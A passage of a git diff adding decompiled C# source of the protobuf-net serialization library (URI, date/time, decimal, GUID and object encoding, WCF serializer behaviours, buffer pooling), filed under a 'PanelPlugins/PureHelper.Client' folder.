IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadUInt64", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UriDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UriDecorator.cs new file mode 100644 index 0000000..b1da87d --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/UriDecorator.cs @@ -0,0 +1,60 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class UriDecorator : ProtoDecoratorBase +{ + private static readonly Type expectedType = typeof(Uri); + + public override Type ExpectedType => expectedType; + + public override bool RequiresOldValue => false; + + public override bool ReturnsValue => true; + + public UriDecorator(TypeModel model, IProtoSerializer tail) + : base(tail) + { + } + + public override void Write(object value, ProtoWriter dest) + { + Tail.Write(((Uri)value).OriginalString, dest); + } + + public override object Read(object value, ProtoReader source) + { + string text = (string)Tail.Read(null, source); + if (text.Length != 0) + { + return new Uri(text, UriKind.RelativeOrAbsolute); + } + return null; + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.LoadValue(valueFrom); + ctx.LoadValue(typeof(Uri).GetProperty("OriginalString")); + Tail.EmitWrite(ctx, null); + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + Tail.EmitRead(ctx, valueFrom); + ctx.CopyValue(); + CodeLabel label = ctx.DefineLabel(); + CodeLabel label2 = ctx.DefineLabel(); + ctx.LoadValue(typeof(string).GetProperty("Length")); + ctx.BranchIfTrue(label, @short: true); + ctx.DiscardValue(); + ctx.LoadNullRef(); + ctx.Branch(label2, @short: true); + ctx.MarkLabel(label); + ctx.LoadValue(0); + ctx.EmitCtor(ctx.MapType(typeof(Uri)), ctx.MapType(typeof(string)), ctx.MapType(typeof(UriKind))); + ctx.MarkLabel(label2); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoBehaviorAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoBehaviorAttribute.cs new file mode 100644 index 0000000..f47a713 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoBehaviorAttribute.cs @@ -0,0 +1,30 @@ +using System; +using System.ServiceModel.Channels; +using System.ServiceModel.Description; +using System.ServiceModel.Dispatcher; + +namespace ProtoBuf.ServiceModel; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false)] +public sealed class ProtoBehaviorAttribute : Attribute, IOperationBehavior +{ + void IOperationBehavior.AddBindingParameters(OperationDescription operationDescription, BindingParameterCollection bindingParameters) + { + } + + void IOperationBehavior.ApplyClientBehavior(OperationDescription operationDescription, ClientOperation clientOperation) + { + IOperationBehavior val = (IOperationBehavior)(object)new ProtoOperationBehavior(operationDescription); + val.ApplyClientBehavior(operationDescription, clientOperation); + } + + void IOperationBehavior.ApplyDispatchBehavior(OperationDescription operationDescription, DispatchOperation dispatchOperation) + { + IOperationBehavior val = (IOperationBehavior)(object)new ProtoOperationBehavior(operationDescription); + val.ApplyDispatchBehavior(operationDescription, dispatchOperation); + } + + void IOperationBehavior.Validate(OperationDescription operationDescription) + { + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoBehaviorExtension.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoBehaviorExtension.cs new file mode 100644 index 0000000..c066ded --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoBehaviorExtension.cs @@ -0,0 +1,14 @@ +using System; +using System.ServiceModel.Configuration; + +namespace ProtoBuf.ServiceModel; + +public class ProtoBehaviorExtension : BehaviorExtensionElement +{ + public override Type BehaviorType => typeof(ProtoEndpointBehavior); + + protected override object CreateBehavior() + { + return new ProtoEndpointBehavior(); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoEndpointBehavior.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoEndpointBehavior.cs new file mode 100644 index 0000000..0db3725 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoEndpointBehavior.cs @@ -0,0 +1,47 @@ +using System.Collections.ObjectModel; +using System.ServiceModel.Channels; +using System.ServiceModel.Description; +using System.ServiceModel.Dispatcher; + +namespace ProtoBuf.ServiceModel; + +public class ProtoEndpointBehavior : IEndpointBehavior +{ + void IEndpointBehavior.AddBindingParameters(ServiceEndpoint endpoint, BindingParameterCollection bindingParameters) + { + } + + void IEndpointBehavior.ApplyClientBehavior(ServiceEndpoint endpoint, ClientRuntime clientRuntime) + { + ReplaceDataContractSerializerOperationBehavior(endpoint); + } + + void IEndpointBehavior.ApplyDispatchBehavior(ServiceEndpoint endpoint, EndpointDispatcher endpointDispatcher) + { + ReplaceDataContractSerializerOperationBehavior(endpoint); + } + + void IEndpointBehavior.Validate(ServiceEndpoint endpoint) + { + } + + private static void ReplaceDataContractSerializerOperationBehavior(ServiceEndpoint serviceEndpoint) + { + foreach (OperationDescription item in (Collection)(object)serviceEndpoint.Contract.Operations) + { + ReplaceDataContractSerializerOperationBehavior(item); + } + } + + private static void ReplaceDataContractSerializerOperationBehavior(OperationDescription description) + { + DataContractSerializerOperationBehavior val = description.Behaviors.Find(); + if (val != null) + { + ((Collection)(object)description.Behaviors).Remove((IOperationBehavior)(object)val); + ProtoOperationBehavior protoOperationBehavior = new ProtoOperationBehavior(description); + ((DataContractSerializerOperationBehavior)protoOperationBehavior).MaxItemsInObjectGraph = val.MaxItemsInObjectGraph; + ((Collection)(object)description.Behaviors).Add((IOperationBehavior)(object)protoOperationBehavior); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoOperationBehavior.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoOperationBehavior.cs new file mode 100644 index 0000000..395b53f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/ProtoOperationBehavior.cs @@ -0,0 +1,40 @@ +using System; +using System.Collections.Generic; +using System.Runtime.Serialization; +using System.ServiceModel.Description; +using System.Xml; +using ProtoBuf.Meta; + +namespace ProtoBuf.ServiceModel; + +public sealed class ProtoOperationBehavior : DataContractSerializerOperationBehavior +{ + private TypeModel model; + + public TypeModel Model + { + get + { + return model; + } + set + { + model = value ?? throw new ArgumentNullException("value"); + } + } + + public ProtoOperationBehavior(OperationDescription operation) + : base(operation) + { + model = RuntimeTypeModel.Default; + } + + public override XmlObjectSerializer CreateSerializer(Type type, XmlDictionaryString name, XmlDictionaryString ns, IList knownTypes) + { + if (model == null) + { + throw new InvalidOperationException("No Model instance has been assigned to the ProtoOperationBehavior"); + } + return (XmlObjectSerializer)(((object)XmlProtoSerializer.TryCreate(model, type)) ?? ((object)((DataContractSerializerOperationBehavior)this).CreateSerializer(type, name, ns, knownTypes))); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/XmlProtoSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/XmlProtoSerializer.cs new file mode 100644 index 0000000..d34c130 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.ServiceModel/XmlProtoSerializer.cs @@ -0,0 +1,220 @@ +using System; +using System.IO; +using System.Runtime.Serialization; +using System.Xml; +using ProtoBuf.Meta; + +namespace ProtoBuf.ServiceModel; + +public sealed class XmlProtoSerializer : XmlObjectSerializer +{ + private readonly TypeModel model; + + private readonly int key; + + private readonly bool isList; + + private readonly bool isEnum; + + private readonly Type type; + + private const string PROTO_ELEMENT = "proto"; + + internal XmlProtoSerializer(TypeModel model, int key, Type type, bool isList) + { + if (key < 0) + { + throw new ArgumentOutOfRangeException("key"); + } + this.model = model ?? throw new ArgumentNullException("model"); + this.key = key; + this.isList = isList; + this.type = type ?? throw new ArgumentOutOfRangeException("type"); + isEnum = Helpers.IsEnum(type); + } + + public static XmlProtoSerializer TryCreate(TypeModel model, Type type) + { + if (model == null) + { + throw new ArgumentNullException("model"); + } + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + bool flag; + int num = GetKey(model, ref type, out flag); + if (num >= 0) + { + return new XmlProtoSerializer(model, num, type, flag); + } + return null; + } + + public XmlProtoSerializer(TypeModel model, Type type) + { + if (model == null) + { + throw new ArgumentNullException("model"); + } + if ((object)type == null) + { + throw new ArgumentNullException("type"); + } + key = GetKey(model, ref type, out isList); + this.model = model; + this.type = type; + isEnum = Helpers.IsEnum(type); + if (key < 0) + { + throw new ArgumentOutOfRangeException("type", "Type not recognised by the model: " + type.FullName); + } + } + + private static int GetKey(TypeModel model, ref Type type, out bool isList) + { + if (model != null && (object)type != null) + { + int num = model.GetKey(ref type); + if (num >= 0) + { + isList = false; + return num; + } + Type listItemType = TypeModel.GetListItemType(model, type); + if ((object)listItemType != null) + { + num = model.GetKey(ref listItemType); + if (num >= 0) + { + isList = true; + return num; + } + } + } + isList = false; + return -1; + } + + public override void WriteEndObject(XmlDictionaryWriter writer) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + ((XmlWriter)writer).WriteEndElement(); + } + + public override void WriteStartObject(XmlDictionaryWriter writer, object graph) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + ((XmlWriter)writer).WriteStartElement("proto"); + } + + public override void WriteObjectContent(XmlDictionaryWriter writer, object graph) + { + if (writer == null) + { + throw new ArgumentNullException("writer"); + } + if (graph == null) + { + ((XmlWriter)writer).WriteAttributeString("nil", "true"); + return; + } + using MemoryStream memoryStream = new MemoryStream(); + if (isList) + { + model.Serialize(memoryStream, graph, null); + } + else + { + using ProtoWriter dest = ProtoWriter.Create(memoryStream, model); + model.Serialize(key, graph, dest); + } + byte[] buffer = memoryStream.GetBuffer(); + ((XmlWriter)writer).WriteBase64(buffer, 0, (int)memoryStream.Length); + } + + public override bool IsStartObject(XmlDictionaryReader reader) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + ((XmlReader)reader).MoveToContent(); + if ((int)((XmlReader)reader).NodeType == 1) + { + return ((XmlReader)reader).Name == "proto"; + } + return false; + } + + public override object ReadObject(XmlDictionaryReader reader, bool verifyObjectName) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (reader == null) + { + throw new ArgumentNullException("reader"); + } + ((XmlReader)reader).MoveToContent(); + bool isEmptyElement = ((XmlReader)reader).IsEmptyElement; + bool flag = ((XmlReader)reader).GetAttribute("nil") == "true"; + ((XmlReader)reader).ReadStartElement("proto"); + if (flag) + { + if (!isEmptyElement) + { + ((XmlReader)reader).ReadEndElement(); + } + return null; + } + if (isEmptyElement) + { + if (isList || isEnum) + { + return model.Deserialize(Stream.Null, null, type, null); + } + ProtoReader protoReader = null; + try + { + protoReader = ProtoReader.Create(Stream.Null, model, null, -1L); + return model.Deserialize(key, null, protoReader); + } + finally + { + ProtoReader.Recycle(protoReader); + } + } + object result; + using (MemoryStream source = new MemoryStream(reader.ReadContentAsBase64())) + { + if (isList || isEnum) + { + result = model.Deserialize(source, null, type, null); + } + else + { + ProtoReader protoReader2 = null; + try + { + protoReader2 = ProtoReader.Create(source, model, null, -1L); + result = model.Deserialize(key, null, protoReader2); + } + finally + { + ProtoReader.Recycle(protoReader2); + } + } + } + ((XmlReader)reader).ReadEndElement(); + return result; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BclHelpers.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BclHelpers.cs new file mode 100644 index 0000000..9a17bfc --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BclHelpers.cs @@ -0,0 +1,627 @@ +using System; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +public static class BclHelpers +{ + [Flags] + public enum NetObjectOptions : byte + { + None = 0, + AsReference = 1, + DynamicType = 2, + UseConstructor = 4, + LateSet = 8 + } + + private const int FieldTimeSpanValue = 1; + + private const int FieldTimeSpanScale = 2; + + private const int FieldTimeSpanKind = 3; + + internal static readonly DateTime[] EpochOrigin = new DateTime[3] + { + new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Unspecified), + new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc), + new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Local) + }; + + private static readonly DateTime TimestampEpoch = EpochOrigin[1]; + + private const int FieldDecimalLow = 1; + + private const int FieldDecimalHigh = 2; + + private const int FieldDecimalSignScale = 3; + + private const int FieldGuidLow = 1; + + private const int FieldGuidHigh = 2; + + private const int FieldExistingObjectKey = 1; + + private const int FieldNewObjectKey = 2; + + private const int FieldExistingTypeKey = 3; + + private const int FieldNewTypeKey = 4; + + private const int FieldTypeName = 8; + + private const int FieldObject = 10; + + public static object GetUninitializedObject(Type type) + { + return FormatterServices.GetUninitializedObject(type); + } + + public static void WriteTimeSpan(TimeSpan timeSpan, ProtoWriter dest) + { + WriteTimeSpanImpl(timeSpan, dest, DateTimeKind.Unspecified); + } + + private static void WriteTimeSpanImpl(TimeSpan timeSpan, ProtoWriter dest, DateTimeKind kind) + { + if (dest == null) + { + throw new ArgumentNullException("dest"); + } + switch (dest.WireType) + { + case WireType.String: + case WireType.StartGroup: + { + long num = timeSpan.Ticks; + TimeSpanScale timeSpanScale; + if (timeSpan == TimeSpan.MaxValue) + { + num = 1L; + timeSpanScale = TimeSpanScale.MinMax; + } + else if (timeSpan == TimeSpan.MinValue) + { + num = -1L; + timeSpanScale = TimeSpanScale.MinMax; + } + else if (num % 864000000000L == 0L) + { + timeSpanScale = TimeSpanScale.Days; + num /= 864000000000L; + } + else if (num % 36000000000L == 0L) + { + timeSpanScale = TimeSpanScale.Hours; + num /= 36000000000L; + } + else if (num % 600000000 == 0L) + { + timeSpanScale = TimeSpanScale.Minutes; + num /= 600000000; + } + else if (num % 10000000 == 0L) + { + timeSpanScale = TimeSpanScale.Seconds; + num /= 10000000; + } + else if (num % 10000 == 0L) + { + timeSpanScale = TimeSpanScale.Milliseconds; + num /= 10000; + } + else + { + timeSpanScale = TimeSpanScale.Ticks; + } + SubItemToken token = ProtoWriter.StartSubItem(null, dest); + if (num != 0L) + { + ProtoWriter.WriteFieldHeader(1, WireType.SignedVariant, dest); + ProtoWriter.WriteInt64(num, dest); + } + if (timeSpanScale != TimeSpanScale.Days) + { + ProtoWriter.WriteFieldHeader(2, WireType.Variant, dest); + ProtoWriter.WriteInt32((int)timeSpanScale, dest); + } + if (kind != DateTimeKind.Unspecified) + { + ProtoWriter.WriteFieldHeader(3, WireType.Variant, dest); + ProtoWriter.WriteInt32((int)kind, dest); + } + ProtoWriter.EndSubItem(token, dest); + break; + } + case WireType.Fixed64: + ProtoWriter.WriteInt64(timeSpan.Ticks, dest); + break; + default: + throw new ProtoException("Unexpected wire-type: " + dest.WireType); + } + } + + public static TimeSpan ReadTimeSpan(ProtoReader source) + { + DateTimeKind kind; + long num = ReadTimeSpanTicks(source, out kind); + return num switch + { + long.MinValue => TimeSpan.MinValue, + long.MaxValue => TimeSpan.MaxValue, + _ => TimeSpan.FromTicks(num), + }; + } + + public static TimeSpan ReadDuration(ProtoReader source) + { + long seconds = 0L; + int nanos = 0; + SubItemToken token = ProtoReader.StartSubItem(source); + int num; + while ((num = source.ReadFieldHeader()) > 0) + { + switch (num) + { + case 1: + seconds = source.ReadInt64(); + break; + case 2: + nanos = source.ReadInt32(); + break; + default: + source.SkipField(); + break; + } + } + ProtoReader.EndSubItem(token, source); + return FromDurationSeconds(seconds, nanos); + } + + public static void WriteDuration(TimeSpan value, ProtoWriter dest) + { + int nanos; + long seconds = ToDurationSeconds(value, out nanos); + WriteSecondsNanos(seconds, nanos, dest); + } + + private static void WriteSecondsNanos(long seconds, int nanos, ProtoWriter dest) + { + SubItemToken token = ProtoWriter.StartSubItem(null, dest); + if (seconds != 0L) + { + ProtoWriter.WriteFieldHeader(1, WireType.Variant, dest); + ProtoWriter.WriteInt64(seconds, dest); + } + if (nanos != 0) + { + ProtoWriter.WriteFieldHeader(2, WireType.Variant, dest); + ProtoWriter.WriteInt32(nanos, dest); + } + ProtoWriter.EndSubItem(token, dest); + } + + public static DateTime ReadTimestamp(ProtoReader source) + { + return TimestampEpoch + ReadDuration(source); + } + + public static void WriteTimestamp(DateTime value, ProtoWriter dest) + { + int nanos; + long num = ToDurationSeconds(value - TimestampEpoch, out nanos); + if (nanos < 0) + { + num--; + nanos += 1000000000; + } + WriteSecondsNanos(num, nanos, dest); + } + + private static TimeSpan FromDurationSeconds(long seconds, int nanos) + { + checked + { + long value = seconds * 10000000 + unchecked(checked(unchecked((long)nanos) * 10000L) / 1000000); + return TimeSpan.FromTicks(value); + } + } + + private static long ToDurationSeconds(TimeSpan value, out int nanos) + { + nanos = (int)(value.Ticks % 10000000 * 1000000 / 10000); + return value.Ticks / 10000000; + } + + public static DateTime ReadDateTime(ProtoReader source) + { + DateTimeKind kind; + long num = ReadTimeSpanTicks(source, out kind); + return num switch + { + long.MinValue => DateTime.MinValue, + long.MaxValue => DateTime.MaxValue, + _ => EpochOrigin[(int)kind].AddTicks(num), + }; + } + + public static void WriteDateTime(DateTime value, ProtoWriter dest) + { + WriteDateTimeImpl(value, dest, includeKind: false); + } + + public static void WriteDateTimeWithKind(DateTime value, ProtoWriter dest) + { + WriteDateTimeImpl(value, dest, includeKind: true); + } + + private static void WriteDateTimeImpl(DateTime value, ProtoWriter dest, bool includeKind) + { + if (dest == null) + { + throw new ArgumentNullException("dest"); + } + WireType wireType = dest.WireType; + TimeSpan timeSpan; + if ((uint)(wireType - 2) <= 1u) + { + if (value == DateTime.MaxValue) + { + timeSpan = TimeSpan.MaxValue; + includeKind = false; + } + else if (value == DateTime.MinValue) + { + timeSpan = TimeSpan.MinValue; + includeKind = false; + } + else + { + timeSpan = value - EpochOrigin[0]; + } + } + else + { + timeSpan = value - EpochOrigin[0]; + } + WriteTimeSpanImpl(timeSpan, dest, includeKind ? value.Kind : DateTimeKind.Unspecified); + } + + private static long ReadTimeSpanTicks(ProtoReader source, out DateTimeKind kind) + { + kind = DateTimeKind.Unspecified; + switch (source.WireType) + { + case WireType.String: + case WireType.StartGroup: + { + SubItemToken token = ProtoReader.StartSubItem(source); + TimeSpanScale timeSpanScale = TimeSpanScale.Days; + long num = 0L; + int num2; + while ((num2 = source.ReadFieldHeader()) > 0) + { + switch (num2) + { + case 2: + timeSpanScale = (TimeSpanScale)source.ReadInt32(); + break; + case 1: + source.Assert(WireType.SignedVariant); + num = source.ReadInt64(); + break; + case 3: + { + kind = (DateTimeKind)source.ReadInt32(); + DateTimeKind dateTimeKind = kind; + if ((uint)dateTimeKind > 2u) + { + throw new ProtoException("Invalid date/time kind: " + kind); + } + break; + } + default: + source.SkipField(); + break; + } + } + ProtoReader.EndSubItem(token, source); + return timeSpanScale switch + { + TimeSpanScale.Days => num * 864000000000L, + TimeSpanScale.Hours => num * 36000000000L, + TimeSpanScale.Minutes => num * 600000000, + TimeSpanScale.Seconds => num * 10000000, + TimeSpanScale.Milliseconds => num * 10000, + TimeSpanScale.Ticks => num, + TimeSpanScale.MinMax => num switch + { + 1L => long.MaxValue, + -1L => long.MinValue, + _ => throw new ProtoException("Unknown min/max value: " + num), + }, + _ => throw new ProtoException("Unknown timescale: " + timeSpanScale), + }; + } + case WireType.Fixed64: + return source.ReadInt64(); + default: + throw new ProtoException("Unexpected wire-type: " + source.WireType); + } + } + + public static decimal ReadDecimal(ProtoReader reader) + { + ulong num = 0uL; + uint num2 = 0u; + uint num3 = 0u; + SubItemToken token = ProtoReader.StartSubItem(reader); + int num4; + while ((num4 = reader.ReadFieldHeader()) > 0) + { + switch (num4) + { + case 1: + num = reader.ReadUInt64(); + break; + case 2: + num2 = reader.ReadUInt32(); + break; + case 3: + num3 = reader.ReadUInt32(); + break; + default: + reader.SkipField(); + break; + } + } + ProtoReader.EndSubItem(token, reader); + int lo = (int)(num & 0xFFFFFFFFu); + int mid = (int)((num >> 32) & 0xFFFFFFFFu); + int hi = (int)num2; + bool isNegative = (num3 & 1) == 1; + byte scale = (byte)((num3 & 0x1FE) >> 1); + return new decimal(lo, mid, hi, isNegative, scale); + } + + public static void WriteDecimal(decimal value, ProtoWriter writer) + { + int[] bits = decimal.GetBits(value); + ulong num = (ulong)((long)bits[1] << 32); + ulong num2 = (ulong)(bits[0] & 0xFFFFFFFFu); + ulong num3 = num | num2; + uint num4 = (uint)bits[2]; + uint num5 = (uint)(((bits[3] >> 15) & 0x1FE) | ((bits[3] >> 31) & 1)); + SubItemToken token = ProtoWriter.StartSubItem(null, writer); + if (num3 != 0L) + { + ProtoWriter.WriteFieldHeader(1, WireType.Variant, writer); + ProtoWriter.WriteUInt64(num3, writer); + } + if (num4 != 0) + { + ProtoWriter.WriteFieldHeader(2, WireType.Variant, writer); + ProtoWriter.WriteUInt32(num4, writer); + } + if (num5 != 0) + { + ProtoWriter.WriteFieldHeader(3, WireType.Variant, writer); + ProtoWriter.WriteUInt32(num5, writer); + } + ProtoWriter.EndSubItem(token, writer); + } + + public static void WriteGuid(Guid value, ProtoWriter dest) + { + byte[] data = value.ToByteArray(); + SubItemToken token = ProtoWriter.StartSubItem(null, dest); + if (value != Guid.Empty) + { + ProtoWriter.WriteFieldHeader(1, WireType.Fixed64, dest); + ProtoWriter.WriteBytes(data, 0, 8, dest); + ProtoWriter.WriteFieldHeader(2, WireType.Fixed64, dest); + ProtoWriter.WriteBytes(data, 8, 8, dest); + } + ProtoWriter.EndSubItem(token, dest); + } + + public static Guid ReadGuid(ProtoReader source) + { + ulong num = 0uL; + ulong num2 = 0uL; + SubItemToken token = ProtoReader.StartSubItem(source); + int num3; + while ((num3 = source.ReadFieldHeader()) > 0) + { + switch (num3) + { + case 1: + num = source.ReadUInt64(); + break; + case 2: + num2 = source.ReadUInt64(); + break; + default: + source.SkipField(); + break; + } + } + ProtoReader.EndSubItem(token, source); + if (num == 0L && num2 == 0L) + { + return Guid.Empty; + } + uint num4 = (uint)(num >> 32); + uint a = (uint)num; + uint num5 = (uint)(num2 >> 32); + uint num6 = (uint)num2; + return new Guid((int)a, (short)num4, (short)(num4 >> 16), (byte)num6, (byte)(num6 >> 8), (byte)(num6 >> 16), (byte)(num6 >> 24), (byte)num5, (byte)(num5 >> 8), (byte)(num5 >> 16), (byte)(num5 >> 24)); + } + + public static object ReadNetObject(object value, ProtoReader source, int key, Type type, NetObjectOptions options) + { + SubItemToken token = ProtoReader.StartSubItem(source); + int num = -1; + int num2 = -1; + int num3; + while ((num3 = source.ReadFieldHeader()) > 0) + { + switch (num3) + { + case 1: + { + int key2 = source.ReadInt32(); + value = source.NetCache.GetKeyedObject(key2); + break; + } + case 2: + num = source.ReadInt32(); + break; + case 3: + { + int key2 = source.ReadInt32(); + type = (Type)source.NetCache.GetKeyedObject(key2); + key = source.GetTypeKey(ref type); + break; + } + case 4: + num2 = source.ReadInt32(); + break; + case 8: + { + string text = source.ReadString(); + type = source.DeserializeType(text); + if ((object)type == null) + { + throw new ProtoException("Unable to resolve type: " + text + " (you can use the TypeModel.DynamicTypeFormatting event to provide a custom mapping)"); + } + if ((object)type == typeof(string)) + { + key = -1; + break; + } + key = source.GetTypeKey(ref type); + if (key >= 0) + { + break; + } + throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name); + } + case 10: + { + bool flag = (object)type == typeof(string); + bool flag2 = value == null; + bool flag3 = flag2 && (flag || (options & NetObjectOptions.LateSet) != 0); + if (num >= 0 && !flag3) + { + if (value == null) + { + source.TrapNextObject(num); + } + else + { + source.NetCache.SetKeyedObject(num, value); + } + if (num2 >= 0) + { + source.NetCache.SetKeyedObject(num2, type); + } + } + object obj = value; + value = ((!flag) ? ProtoReader.ReadTypedObject(obj, key, source, type) : source.ReadString()); + if (num >= 0) + { + if (flag2 && !flag3) + { + obj = source.NetCache.GetKeyedObject(num); + } + if (flag3) + { + source.NetCache.SetKeyedObject(num, value); + if (num2 >= 0) + { + source.NetCache.SetKeyedObject(num2, type); + } + } + } + if (num >= 0 && !flag3 && obj != value) + { + throw new ProtoException("A reference-tracked object changed reference during deserialization"); + } + if (num < 0 && num2 >= 0) + { + source.NetCache.SetKeyedObject(num2, type); + } + break; + } + default: + source.SkipField(); + break; + } + } + if (num >= 0 && (options & NetObjectOptions.AsReference) == 0) + { + throw new ProtoException("Object key in input stream, but reference-tracking was not expected"); + } + ProtoReader.EndSubItem(token, source); + return value; + } + + public static void WriteNetObject(object value, ProtoWriter dest, int key, NetObjectOptions options) + { + if (dest == null) + { + throw new ArgumentNullException("dest"); + } + bool flag = (options & NetObjectOptions.DynamicType) != 0; + bool flag2 = (options & NetObjectOptions.AsReference) != 0; + WireType wireType = dest.WireType; + SubItemToken token = ProtoWriter.StartSubItem(null, dest); + bool flag3 = true; + if (flag2) + { + bool existing; + int value2 = dest.NetCache.AddObjectKey(value, out existing); + ProtoWriter.WriteFieldHeader(existing ? 1 : 2, WireType.Variant, dest); + ProtoWriter.WriteInt32(value2, dest); + if (existing) + { + flag3 = false; + } + } + if (flag3) + { + if (flag) + { + Type type = value.GetType(); + if (!(value is string)) + { + key = dest.GetTypeKey(ref type); + if (key < 0) + { + throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name); + } + } + bool existing2; + int value3 = dest.NetCache.AddObjectKey(type, out existing2); + ProtoWriter.WriteFieldHeader(existing2 ? 3 : 4, WireType.Variant, dest); + ProtoWriter.WriteInt32(value3, dest); + if (!existing2) + { + ProtoWriter.WriteFieldHeader(8, WireType.String, dest); + ProtoWriter.WriteString(dest.SerializeType(type), dest); + } + } + ProtoWriter.WriteFieldHeader(10, wireType, dest); + if (value is string) + { + ProtoWriter.WriteString((string)value, dest); + } + else + { + ProtoWriter.WriteObject(value, key, dest); + } + } + ProtoWriter.EndSubItem(token, dest); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BufferExtension.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BufferExtension.cs new file mode 100644 index 0000000..c222b1d --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BufferExtension.cs @@ -0,0 +1,66 @@ +using System; +using System.IO; + +namespace ProtoBuf; + +public sealed class BufferExtension : IExtension, IExtensionResettable +{ + private byte[] buffer; + + void IExtensionResettable.Reset() + { + buffer = null; + } + + int IExtension.GetLength() + { + if (buffer != null) + { + return buffer.Length; + } + return 0; + } + + Stream IExtension.BeginAppend() + { + return new MemoryStream(); + } + + void IExtension.EndAppend(Stream stream, bool commit) + { + using (stream) + { + int num; + if (commit && (num = (int)stream.Length) > 0) + { + MemoryStream memoryStream = (MemoryStream)stream; + if (buffer == null) + { + buffer = memoryStream.ToArray(); + return; + } + int num2 = buffer.Length; + byte[] dst = new byte[num2 + num]; + Buffer.BlockCopy(buffer, 0, dst, 0, num2); + Buffer.BlockCopy(Helpers.GetBuffer(memoryStream), 0, dst, num2, num); + buffer = dst; + } + } + } + + Stream IExtension.BeginQuery() + { + if (buffer != null) + { + return new MemoryStream(buffer); + } + return Stream.Null; + } + + void IExtension.EndQuery(Stream stream) + { + using (stream) + { + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BufferPool.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BufferPool.cs new file mode 100644 index 0000000..c74aa1f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/BufferPool.cs @@ -0,0 +1,139 @@ +using System; + +namespace ProtoBuf; + +internal sealed class BufferPool +{ + private class CachedBuffer + { + private readonly WeakReference _reference; + + public int Size { get; } + + public bool IsAlive => _reference.IsAlive; + + public byte[] Buffer => (byte[])_reference.Target; + + public CachedBuffer(byte[] buffer) + { + Size = buffer.Length; + _reference = new WeakReference(buffer); + } + } + + private const int POOL_SIZE = 20; + + internal const int BUFFER_LENGTH = 1024; + + private static readonly CachedBuffer[] Pool = new CachedBuffer[20]; + + private const int MaxByteArraySize = 2147483591; + + internal static void Flush() + { + lock (Pool) + { + for (int i = 0; i < Pool.Length; i++) + { + Pool[i] = null; + } + } + } + + private BufferPool() + { + } + + internal static byte[] GetBuffer() + { + return GetBuffer(1024); + } + + internal static byte[] GetBuffer(int minSize) + { + byte[] cachedBuffer = GetCachedBuffer(minSize); + return cachedBuffer ?? new byte[minSize]; + } + + internal static byte[] GetCachedBuffer(int minSize) + { + lock (Pool) + { + int num = -1; + byte[] array = null; + for (int i = 0; i < Pool.Length; i++) + { + CachedBuffer cachedBuffer = Pool[i]; + if (cachedBuffer != null && cachedBuffer.Size >= minSize && (array == null || array.Length >= cachedBuffer.Size)) + { + byte[] buffer = cachedBuffer.Buffer; + if (buffer == null) + { + Pool[i] = null; + continue; + } + array = buffer; + num = i; + } + } + if (num >= 0) + { + Pool[num] = null; + } + return array; + } + } + + internal static void ResizeAndFlushLeft(ref byte[] buffer, int toFitAtLeastBytes, int copyFromIndex, int copyBytes) + { + int num = buffer.Length * 2; + if (num < 0) + { + num = 2147483591; + } + if (num < toFitAtLeastBytes) + { + num = toFitAtLeastBytes; + } + if (copyBytes == 0) + { + ReleaseBufferToPool(ref buffer); + } + byte[] array = 